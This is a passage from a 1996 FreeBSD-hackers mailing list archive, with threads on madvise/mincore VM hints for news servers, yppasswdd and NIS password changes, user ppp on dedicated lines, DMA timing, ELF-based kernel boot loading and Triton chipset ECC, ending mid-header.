freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA20486 for ; Wed, 15 May 1996 07:13:45 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id KAA07686; Wed, 15 May 1996 10:13:20 -0400 Date: Wed, 15 May 1996 10:13:19 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: hackers@freebsd.org Subject: Re: re joe's questions on vm/mincore/etc. In-Reply-To: <199605151358.IAA11996@brasil.moneng.mei.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Oooo we're rapidly diverging from a portable solution now! :-) ;-) yeah, mapping pte's is non-portable. no argument. Anyways john dyson's changes to mincore are portable useful worth having probably helpful for your problem so, john, howsabout it? :-) ron From owner-freebsd-hackers Wed May 15 07:19:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA20841 for hackers-outgoing; Wed, 15 May 1996 07:19:35 -0700 (PDT) Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA20832 for ; Wed, 15 May 1996 07:19:27 -0700 (PDT) Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de) by mail.rwth-aachen.de (PMDF V5.0-4 #13110) id <01I4QNH5SE8G000X2I@mail.rwth-aachen.de>; Wed, 15 May 1996 15:45:23 +0100 Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.6.11/8.6.9) id PAA29027; Wed, 15 May 1996 15:44:45 +0200 Date: Wed, 15 May 1996 15:44:44 +0200 (MET DST) From: "Christoph P. Kukulies" Subject: Re: yppasswdd permissions/ownership In-reply-to: <199605151326.IAA23557@plains.nodak.edu> To: tinguely@plains.nodak.edu (Mark Tinguely) Cc: freebsd-hackers@freefall.freebsd.org, kuku@gilberto.physik.rwth-aachen.de Reply-to: Christoph Kukulies Message-id: <199605151344.PAA29027@gilberto.physik.rwth-aachen.de> MIME-version: 1.0 X-Mailer: ELM [version 2.4ME+ PL16 (25)] Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > We want to allow our NIS users on the clients to set their yp passwords. > > Since /etc/master.passwd is rw------- root wheel and yppasswdd runs > > as bin bin it seems to me impossible to change the master password database. > > > > Shouldn't yppasswdd better be run as 4755 root bin ? Or is this > > a potential security hole? > > yppasswdd is a daemon that runs as root. ypasswdd is started from /etc/rc Yes, of course it runs as root - I must have had a blackout :-) > because your /etc/sysconfig has the line: > > yppasswddflags="-m /etc/master.passwd -s -f" We are running yppasswd with these flags. I just gave it a test. I could do a passwd on the client. After that I could not login into the client. I could well login into the server with the new password. Might it be some problem with DES/MD5 encryption? I build world with NOCRYPT. All binaries are from -current. > > --mark. > --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Wed May 15 07:21:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA21140 for hackers-outgoing; Wed, 15 May 1996 07:21:05 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA21130 for ; Wed, 15 May 1996 07:21:01 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA18932; Wed, 15 May 1996 08:20:50 -0600 Date: Wed, 15 May 1996 08:20:50 -0600 From: Nate Williams Message-Id: <199605151420.IAA18932@rocky.sri.MT.net> To: Julian Elischer Cc: hackers@freebsd.org Subject: Re: missing programs from CRUNCH files In-Reply-To: <199605150223.TAA00554@shrimp.whistle.com> References: <199605150223.TAA00554@shrimp.whistle.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > In attempting to re-make the makefiles > that make the various floppies, I have found that the following > programs are referenced bet seem to have disappeared, or that > people have stuffed around with them in some way and broken > the CRUNCH definitions for the fixit or root or boot floppies.. Look in /usr/src/sbin/i386 for most of them. > > ft > fdisk > sysinstall (I might justhave the wrong place for this) > mount_msdos This has always existed in /usr/src/gnu/usr.bin/grep. > grep > grep seems to have become egrep by dint of having just > having a subdir of egrep.. Both grep and egrep exist. From owner-freebsd-hackers Wed May 15 07:28:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA21891 for hackers-outgoing; Wed, 15 May 1996 07:28:05 -0700 (PDT) Received: (from jmb@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA21866; Wed, 15 May 1996 07:28:03 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199605151428.HAA21866@freefall.freebsd.org> Subject: Re: errros on making floppies To: joerg_wunsch@uriah.heep.sax.de Date: Wed, 15 May 1996 07:28:02 -0700 (PDT) Cc: freebsd-hackers@FreeBSD.ORG, julian@ref.tfs.com In-Reply-To: <199605150734.JAA04214@uriah.heep.sax.de> from "J Wunsch" at May 15, 96 09:34:18 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > Pick the existing fixit floppy. It doesn't miss very much, namely > about all you need in addition to what's already there is an > /sbin/init (or even /stand/init). please add /sbin/restore to hte fixit floppy if it is not there already. kernel should have st0. /dev should have the st0 devices too ;) -- Jonathan M. Bresler FreeBSD Postmaster jmb@FreeBSD.ORG FreeBSD--4.4BSD Unix for PC clones, source included. http://www.freebsd.org/ From owner-freebsd-hackers Wed May 15 07:39:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA22820 for hackers-outgoing; Wed, 15 May 1996 07:39:13 -0700 (PDT) Received: from novell.com (sjf-ums.sjf.novell.com [130.57.10.171]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA22813 for ; Wed, 15 May 1996 07:39:11 -0700 (PDT) Received: from INET-SJF-Message_Server by fromGW with Novell_GroupWise; Wed, 15 May 1996 07:36:11 -0700 Content-Type: text/plain Message-ID: X-Mailer: Novell GroupWise 4.1 Date: Wed, 15 May 1996 07:45:27 -0700 From: DARREND@novell.com (Darren Davis) To: hackers@FreeBSD.org, john@starfire.mn.org Subject: NFS problems between FreeBSD 2.1.0-R(CD) server and Unixware 2.03 client - Reply Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Actually, I have seen this problem with my UnixWare boxes as well. I have both 2.0 and 2.1 UnixWare boxes. I really haven't looked that much into the problem though having been intimately involved with UnixWare for that past several years. There has been a bug in NFS on UnixWare that could only be worked around by setting rsize and wsize to 1024. I also filed severaly bug reports with engineering at the time. I don't have access to the MR (Modifaction Request) database since SCO bought UnixWare so I can't get the resolution information. I suspect that UnixWare hasn't fully resolved the NFS problems it has had it the past. Darren R. Davis Senior Software Engineer Novell, Inc. From owner-freebsd-hackers Wed May 15 07:46:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA23298 for hackers-outgoing; Wed, 15 May 1996 07:46:03 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA23292; Wed, 15 May 1996 07:45:58 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id JAA12093; Wed, 15 May 1996 09:45:08 -0500 From: Joe Greco Message-Id: <199605151445.JAA12093@brasil.moneng.mei.com> Subject: Re: A question for the VM gurus..! To: toor@dyson.iquest.net (John S. Dyson) Date: Wed, 15 May 1996 09:45:08 -0500 (CDT) Cc: dyson@freebsd.org, hackers@freebsd.org In-Reply-To: <199605150415.XAA19042@dyson.iquest.net> from "John S. Dyson" at May 14, 96 11:15:29 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I think I'm going to have to reveal my stupidity here. :-( > > YOU ARE NOT STUPID :-). Sure I am. :-) I just fool a lot of people. > > I do not understand your statement. I would assume that "pages [that] are > > mapped in a process... [and] ...don't have to be faulted" would necessarily > > have to be resident. > > What you say is right, but there are pages that are resident that are NOT > mapped into the process address space. The VM system doesn't modify the > pte's until the process faults them. (That is not strictly true, but is > true in the case that I think that you are talking about.) So what I was > trying to say is that mincore would miss some of those pages that are really > in memory. Hmm, okay, so it seems to me that there is an "unresolved/the-vm-system- doesn't-yet-know-where-the-page-is-so-just-fault-on-access" state too, that clarifies it somewhat. :-) > > Now given 200 readers and 2,000,000 articles, the likelihood that any > > particular reader will access an article that someone else has recently read > > is fairly low. This data is ripe for being discarded ASAP, and it would be > > handy to tag these pages as "noncacheable" or "cacheable but VERY > > discardable". True, currently file accesses are file the open()/close() > > interface, but it is easy to mmap() the articles instead. Further, I can > > even mark the pages as MADV_SEQUENTIAL (only useful on large articles I > > would think), although I don't know how useful this hint would be to the VM > > system. > > How's about an ioctl or somesuch as a hint to the filesystem so that when > a file is closed, it's pages (or object), is marked somehow for quick > reuse (freeing?) You then could keep the read/write code, but an ioctl > (or fcntl) could be issued to change the behavior. (Note that I still > plan to do the madvise thing though :-)). Not portable. Solaris, at least, implements the madvise() stuff.. What it seems to do: If you set MADV_SEQUENTIAL on a region, if it has to fault a page "n" in, it looks like it discards all pages from 0 to n-1 in that region.. notably it does NOT seem to do anything if it doesn't have to fault a page in. MADV_RANDOM seems to cause a lot more faults if you are doing sequential accesses, as far as I can tell it just tells Solaris not to read ahead. MADV_DONTNEED appears to junk pages (asynchronously, from what I can tell) MADV_WILLNEED appears to fault pages (again, asynchrnously, from what I can tell). > > My other "pet project" requires a functional mincore() - the history file on > > a large news server may be 150-200MB, and I would like to create a daemon to > > handle history lookup requests. The file can be mapped and marked with > > MADV_RANDOM, and when a request comes in requiring a particular bit of data, > > pages that are found to be !mincore() can be marked with MADV_WILLNEED to > > ask the VM system to bring them in, while the code goes on to service other > > requests. I am trying to allow the process to spin through its connection > > list as rapidly as possible, and with 64MB or 128MB RAM, you can hopefully > > see how this would be very efficient (from an overall viewpoint). > > MADV_RANDOM would probably implemented by bringing in only one page at a time, > instead of a cluster. MADV_WILLNEED is problematical (a bit more difficult) > since we don't currently have a way to asynchronously read pages in -- but > it wouldn't be very hard. I have been looking into the possiblity of > adding kernel threads -- that could help the async VM read problem. I guess in the _short_ term I am most interested in support for MADV_DONTNEED, it is the most generally useful change for my application. However, it would be nice to have a full suite of this stuff in the future. I haven't seen too many Solaris applications that make use of these functions (although cat, mv, some printing stuff, and some audio tools seem to use it). Thanks, ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Wed May 15 08:25:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA25538 for hackers-outgoing; Wed, 15 May 1996 08:25:56 -0700 (PDT) Received: from plains.nodak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA25533 for ; Wed, 15 May 1996 08:25:52 -0700 (PDT) Received: (from tinguely@localhost) by plains.nodak.edu (8.7.1/8.7.1) id KAA09222; Wed, 15 May 1996 10:25:32 -0500 (CDT) Date: Wed, 15 May 1996 10:25:32 -0500 (CDT) From: Mark Tinguely Message-Id: <199605151525.KAA09222@plains.nodak.edu> To: kuku@gilberto.physik.rwth-aachen.de Subject: Re: yppasswdd permissions/ownership Cc: freebsd-hackers@freefall.freebsd.org Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk check the symbolic links /usr/lib/libcrypt* on both the client and server. also make sure ypserv is using /etc/master.passwd instead of /var/yp/master.passwd. --mark. From owner-freebsd-hackers Wed May 15 09:02:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA27564 for hackers-outgoing; Wed, 15 May 1996 09:02:16 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA27558 for ; Wed, 15 May 1996 09:02:10 -0700 (PDT) Received: from nightmare.dreamchaser.org ([207.40.47.18]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id JAA04966 for ; Wed, 15 May 1996 09:02:09 -0700 Received: from mofo (mofo.dreamchaser.org [206.230.42.91]) by nightmare.dreamchaser.org (8.6.12/8.6.12) with SMTP id JAA15399 for ; Wed, 15 May 1996 09:59:54 -0600 Message-ID: <3199FF85.21E7@ics.com> Date: Wed, 15 May 1996 10:00:05 -0600 From: Gary Aitken Organization: Integrated Computer Solutions X-Mailer: Mozilla 3.0b3 (X11; I; SunOS 5.4 sun4c) MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: user ppp with dedicated line Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I mistakenly posted this to ports; my apologies to those who have already seen this. I'm using user ppp on a dedicated 56K line, successfully but probably not correctly :-( Under freebsd version 2.1 Some questions: 1. What is the difference between direct and dedicated modes? I'm using a dedicated 56K line; is "direct" a hardwired link (e.g. port to port), and "dedicated" a dedicated telco link? 2. In order to get ppp to work on my dedicated line, I needed to make the following mods to force packet mode: *** /cdrom/usr/src/usr.sbin/ppp/main.c Thu Oct 5 14:24:42 1995 --- main_new.c Wed May 1 07:46:56 1996 *************** *** 599,604 **** --- 599,610 ---- } else if (mode & MODE_DEDICATED) { if (!modem) modem = OpenModem(mode); + /* + * garya@dreamchaser.org + * Force packet mode as for a direct connection + */ + PacketMode(); } 3. I'm having trouble getting ppp.linkup to be read when used with a dedicated line. It appears to be totally ignored when ppp is started as follows, with the above mods: ppp -dedicated myline The only way I could get a default route added for my dedicated line was to start it in /etc/start_if.tun0 as follows: ppp -dedicated myline sleep 10 route add default 199.2.139.16 The sleep is ugly and theoretically unreliable; but since ppp.linkup wasn't getting read or properly executed, I needed the sleep to wait for the network to come up and the routing table to get established. What's the *right* way to do this? 4. I tried putting some logprintf debug code in SelectSystem, to check to see if ppp.linkup was even being read; but doing so caused a core dump. Can someone explain why, and give me a hint as to how to debug this? 5. Invalid lines in ppp.linkup are apparently ignored, or executed with the output directed to /dev/null. (At least nothing shows up in ppp.log) How do I tell if it is reading ppp.linkup? I've tried ppp.linkup with each of the following, but I suspect the problem is that the whole thing isn't being read: myline: add 0 0 HISADDR add 207.40.47.18 0 HISADDR add 0 0 199.2.139.16 add 207.40.47.18 0 199.2.139.16 add default 0 199.2.139.16 6. When running in dedicated (or direct, I think) mode, attempting to connect via a telnet to port 3000 appears to work, but typing commands produces no output and you have to kill the telnet session to recover. Is this a known problem? Or, as usual, I'm screwing something up? ... -- Gary Aitken garya@ics.com (business) garya@dreamchaser.org (personal) From owner-freebsd-hackers Wed May 15 09:40:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA01357 for hackers-outgoing; Wed, 15 May 1996 09:40:39 -0700 (PDT) Received: from orion.fa.tdktca.com (alex@[163.49.131.130]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA01352 for ; Wed, 15 May 1996 09:40:35 -0700 (PDT) Received: (from alex@localhost) by orion.fa.tdktca.com (8.6.12/8.6.9) id LAA20901; Wed, 15 May 1996 11:43:18 -0500 Date: Wed, 15 May 1996 11:43:18 -0500 Message-Id: <199605151643.LAA20901@orion.fa.tdktca.com> From: Alex Nash To: h.nalen@mbox300.swipnet.se Cc: hackers@freebsd.org Subject: RE: Hello, Reply-to: alex@fa.tdktca.com Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm working with electronics and I have a app. that is rather > time-critical (if you know what I mean). I have a fast AD that need to > be served at a high rate, i.e store the data in realtime. I belive the > only way is to do it with DMA. I've using Intels 386-EX as CPU > (embedded) that has 2 DMA-channels. The AD need to store a 16 bits > parallell data at a rate of 5 us (up to 8 Mb). > > What operating mode do YOU suggest? Single, chained? Do you think > the CPU and the other software "feels" this DMA-transfer? I don't know anything specific about the 386-EX, but when I used to do this kind of thing on 486s an average DMA transfer would consume about 1.5~2us/transfer (that's how long the bus is busy performing the transfer, the actual time between transfers would be up around 4us in single transfer mode). Thus, your bus' bandwidth has just been cut by ~40%. Since the time between successive transfers is close to your 5us, you may want to run in burst mode (but you would then need a staging area like a FIFO). > One more question, the DRAM-refresh. Do it need much bustime? The DRAM need > refresh every 16ms and I wounder how much bus-time the refresh takes? (Would > the DMA-transfer been destroyed or delayed so the data could not be saved > correct?) When you issue a DMA request there are no guarantees as to when your transfer will be granted (also consider that other DMA requests may be consuming the bus too). To be safe, you should probably place a FIFO between your A/D and DMA transfer steps. > I would be grateful if anyone could answer this few questions. If you can't, > can you tell me someone that can help me with this? If you don't already have it, get SAMS Interfacing with the IBM PC. It's a little dated (only covering ISA), but it should contain the timing diagrams you are interested in. Alex From owner-freebsd-hackers Wed May 15 10:04:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA04563 for hackers-outgoing; Wed, 15 May 1996 10:04:26 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA04543 for ; Wed, 15 May 1996 10:04:19 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA14829; Wed, 15 May 1996 10:00:12 -0700 From: Terry Lambert Message-Id: <199605151700.KAA14829@phaeton.artisoft.com> Subject: Re: Making a three-stage boot To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 15 May 1996 10:00:12 -0700 (MST) Cc: wpaul@skynet.ctr.columbia.edu, msmith@atrad.adelaide.edu.au, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199605150105.KAA24644@genesis.atrad.adelaide.edu.au> from "Michael Smith" at May 15, 96 10:35:34 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > userconfig(), kzip and the 'which kernel' selection are all obvious > candidates. We'll talk about boot-time linking the kernel some other day; > you could use it to do the boot-time driver probe/load stuff that > Terry and I were musing about a while back. Some of this wants ELF module agregation, and some of it wants VM86() BIOS-using fallback drivers in the kernel. Both of these really obviate the need for a "stage three" in the boot process. ELF agregation allows you to load any ELF code segment at any address, and since ELF allows multiple code segments, this means that you can massage a binary file as long as you have a mechanism for identifying load address for things like boot FS driver and boot device driver. Specifically, I could have a kernel with no FS installed that loads a default FS for boot-install in a discardable ELF segment, and loads the actual FS to be used on the disk (like ext2fs) dunamically using the discardable loader. Then when it writes the kernl out on the installed disk, it writes out an ELF segment for the chosen FS driver and patches a static vector segment for where the FS driver is to be loaded. Basically, it builds a static kernel with a default FS type from mudular components, and doesn't need to recompile to get there. This would allow replacement of a Linux kernel (or an SCO kernel, etc.) with a BSD kernel with no other changes to the system. Obviously, ELF "autoinit" segments, where all ELF segments with the proper identifier have an initialization entry point called in order based on component class would be necessary. The dogwork in that area is already done with the init)_main.c code and the KERNINIT interface code. Before agregation is supported, it would be easiest to support a "fallback driver" scenario: default drivers that will work on any hardware in a given driver class, which may be discarded for a hardware-specific (and thus higher performance) driver from the same class. For instance, a disk driver that uses INT 13 calls via VM86() will work with any disk controller that does POST initialization of the INT 13 BIOS vector. That is... any disk capable of booting DOS would be capable of booting BSD. Obviously, for non-PC hardware, the BIOS/VM86()-based fallbacks would be replaced with PPCBug based fallbacks, or, more ideally, OpenFirmware/OpenBoot-based fallbacks. > No, PIC is Position Independent Code. ie. it doesn't give a damn where > it is. You'd have to provide it with a suitable stack and bss perhaps, > depending on whether we outlawed uninitialised globals. (Not sure if you > can do that with gcc). Right. PIC is to allow load address independence. The only interface is known memory regions and preinitialized stack contents when the next set of code is invoked. If you think of the ELF segments as having been PIC'ed, it means that you can agregate them without caring about agregation order. This means that you could agregate ("ELF-link") an FS driver based on multiple segment identifiers in an ELF segment to get a minimal FS interface with shared code with the real FS interface for use by a second stage boot block. This lets you change root FS types as often as you want without paying a premium in terms of having to rework huge amounts of code (which is what's being suggested by a third stage boot). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed May 15 10:09:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA05043 for hackers-outgoing; Wed, 15 May 1996 10:09:40 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA05029 for ; Wed, 15 May 1996 10:09:25 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id LAA19463; Wed, 15 May 1996 11:08:54 -0600 Date: Wed, 15 May 1996 11:08:54 -0600 From: Nate Williams Message-Id: <199605151708.LAA19463@rocky.sri.MT.net> To: Gary Aitken Cc: freebsd-hackers@freebsd.org Subject: Re: user ppp with dedicated line In-Reply-To: <3199FF85.21E7@ics.com> References: <3199FF85.21E7@ics.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm using user ppp on a dedicated 56K line, successfully but > probably not correctly :-( > > Under freebsd version 2.1 > > Some questions: > > 1. What is the difference between direct and dedicated modes? > I'm using a dedicated 56K line; is "direct" a hardwired link > (e.g. port to port), and "dedicated" a dedicated telco link? The documention isn't very good, but as I understand it 'direct' means connect to the current tty. It's mainly used for use on the dialin side. 'dedicated' means there is no need for dialing or other handling, since the line is a 'dedicated' line. However, it *may* have some stuff to setup the line initially. (It looks like it from the code). But, it doesn't 'redial' the line when the carrier drops. I posted a set of patches a *long* time ago which adds the 'ddial' mode, which is a 'dedicated modem' connection which attempts to keep the connection up all the time, but understands the modem dialing stuff. You don't need that though. > 2. In order to get ppp to work on my dedicated line, I needed > to make the following mods to force packet mode: > > *** /cdrom/usr/src/usr.sbin/ppp/main.c Thu Oct 5 14:24:42 1995 > --- main_new.c Wed May 1 07:46:56 1996 > *************** > *** 599,604 **** > --- 599,610 ---- > } else if (mode & MODE_DEDICATED) { > if (!modem) > modem = OpenModem(mode); > + /* > + * garya@dreamchaser.org > + * Force packet mode as for a direct connection > + */ > + PacketMode(); > } > Without looking at the code, how else would the 'dedicated' mode go into packet mode? Is there some code that would cause packet mode it would fall into later? > 3. I'm having trouble getting ppp.linkup to be read when used with a > dedicated line. It appears to be totally ignored when ppp is > started as follows, with the above mods: > > ppp -dedicated myline > > The only way I could get a default route added for my dedicated > line was to start it in /etc/start_if.tun0 as follows: > > ppp -dedicated myline > sleep 10 > route add default 199.2.139.16 > > The sleep is ugly and theoretically unreliable; > but since ppp.linkup wasn't getting read or properly executed, > I needed the sleep to wait for the network to come up and the > routing table to get established. > > What's the *right* way to do this? I have all my stuff in ppp.conf, don't know if it's applicable on your system. > 4. I tried putting some logprintf debug code in SelectSystem, > to check to see if ppp.linkup was even being read; > but doing so caused a core dump. Can someone explain why, and > give me a hint as to how to debug this? Where/why is it dumping core? > 5. Invalid lines in ppp.linkup are apparently ignored, > or executed with the output directed to /dev/null. > (At least nothing shows up in ppp.log) > How do I tell if it is reading ppp.linkup? See question 4. :) > 6. When running in dedicated (or direct, I think) mode, > attempting to connect via a telnet to port 3000 appears > to work, but typing commands produces no output and you > have to kill the telnet session to recover. Is this a > known problem? Or, as usual, I'm screwing something up? ... I don't think you need to run it in direct mode. Nate From owner-freebsd-hackers Wed May 15 10:11:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA05261 for hackers-outgoing; Wed, 15 May 1996 10:11:00 -0700 (PDT) Received: from mail.barrnet.net (mail.barrnet.net [131.119.246.7]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA05175; Wed, 15 May 1996 10:10:20 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by mail.barrnet.net (8.7.5/MAIL-RELAY-LEN) with SMTP id KAA26579; Wed, 15 May 1996 10:10:08 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.6.12/8.6.12) id KAA04912; Wed, 15 May 1996 10:04:45 -0700 From: "Rodney W. Grimes" Message-Id: <199605151704.KAA04912@GndRsh.aac.dev.com> Subject: Re: Triton chipset with 256k cache caches 32M only? To: jgreco@brasil.moneng.mei.com (Joe Greco) Date: Wed, 15 May 1996 10:04:45 -0700 (PDT) Cc: davidg@Root.COM, mmead@Glock.COM, joerg_wunsch@uriah.heep.sax.de, blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@FreeBSD.ORG, hardware@FreeBSD.ORG In-Reply-To: <199605141630.LAA06612@brasil.moneng.mei.com> from Joe Greco at "May 14, 96 11:29:59 am" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > >> No, it uses the parity bits. Only 8 syndrome bits are needed > > >> for 64bit words. > > > > > > Hmm. So does that mean the ECC is limited to single (odd > > >number of) bit errors? > > > > ECC has single bit error correction and 2 bit error detection. Better than > > parity no matter how you slice it. Only if you have memory that is failing or you need extreamly reliable operation (good memory should have a single bit error rate of something like 1 in 10 years). > > I have not tried it on D-P, but Rod says that the Triton-II ECC imposes an > extra delay in memory accesses, i.e. "don't use it". The cost is about 10 to 15% in memory bandwidth. > That should be really easy to see if you go looking for it. Yep... easy to spot in any bcopy benchmark larger than the cache. -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation Company Reliable computers for FreeBSD From owner-freebsd-hackers Wed May 15 10:15:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA05671 for hackers-outgoing; Wed, 15 May 1996 10:15:18 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA05664; Wed, 15 May 1996 10:15:14 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id MAA22723; Wed, 15 May 1996 12:14:47 -0500 (EST) From: "John S. Dyson" Message-Id: <199605151714.MAA22723@dyson.iquest.net> Subject: Re: A question for the VM gurus..! To: jgreco@brasil.moneng.mei.com (Joe Greco) Date: Wed, 15 May 1996 12:14:47 -0500 (EST) Cc: dyson@freebsd.org, hackers@freebsd.org In-Reply-To: <199605151445.JAA12093@brasil.moneng.mei.com> from "Joe Greco" at May 15, 96 09:45:08 am X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Not portable. Solaris, at least, implements the madvise() stuff.. > Okay.. > > What it seems to do: > > If you set MADV_SEQUENTIAL on a region, if it has to fault a page "n" in, it > looks like it discards all pages from 0 to n-1 in that region.. notably it > does NOT seem to do anything if it doesn't have to fault a page in. > Is there only one process accessing the region? What happens if there are other processes using that region also? Otherwise, that is easy to do in our VM system. > > MADV_RANDOM seems to cause a lot more faults if you are doing sequential > accesses, as far as I can tell it just tells Solaris not to read ahead. > That is easy also. > > MADV_DONTNEED appears to junk pages (asynchronously, from what I can tell) > Easy. > > MADV_WILLNEED appears to fault pages (again, asynchrnously, from what I can > tell). > Hmmm... time to implement kernel threads. > > I guess in the _short_ term I am most interested in support for > MADV_DONTNEED, it is the most generally useful change for my application. > However, it would be nice to have a full suite of this stuff in the future. > Okay, I'll work on it this weekend. Probably implement everything except WILLNEED, and will give WILLNEED lip-service by making sure all of the pages are activated (and perhaps mapped), if they are already in memory. I will work on it this weekend or soon thereafter. John From owner-freebsd-hackers Wed May 15 10:46:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA08312 for hackers-outgoing; Wed, 15 May 1996 10:46:02 -0700 (PDT) Received: from mailgate.ericsson.se (mailgate.ericsson.se [130.100.2.2]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA08304 for ; Wed, 15 May 1996 10:45:59 -0700 (PDT) Received: from egg.lmc.ericsson.se (egg.lmc.ericsson.se [142.133.32.1]) by mailgate.ericsson.se (8.7.5/8.7.3/gate-0.9) with SMTP id TAA22575 for ; Wed, 15 May 1996 19:45:49 +0200 (MET DST) Received: from chicago.lmc.ericsson.se by egg.lmc.ericsson.se (4.1/LME-2.2) id AA27925; Wed, 15 May 96 13:45:45 EDT Received: (from lmcsato@localhost) by chicago.lmc.ericsson.se (8.7/8.7) id NAA01697; Wed, 15 May 1996 13:45:09 -0400 (EDT) Date: Wed, 15 May 1996 13:45:08 -0400 (EDT) From: Samy Touati X-Sender: lmcsato@chicago To: freebsd-hackers@FreeBSD.org Subject: memory requirements for a fbsd gateway Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: 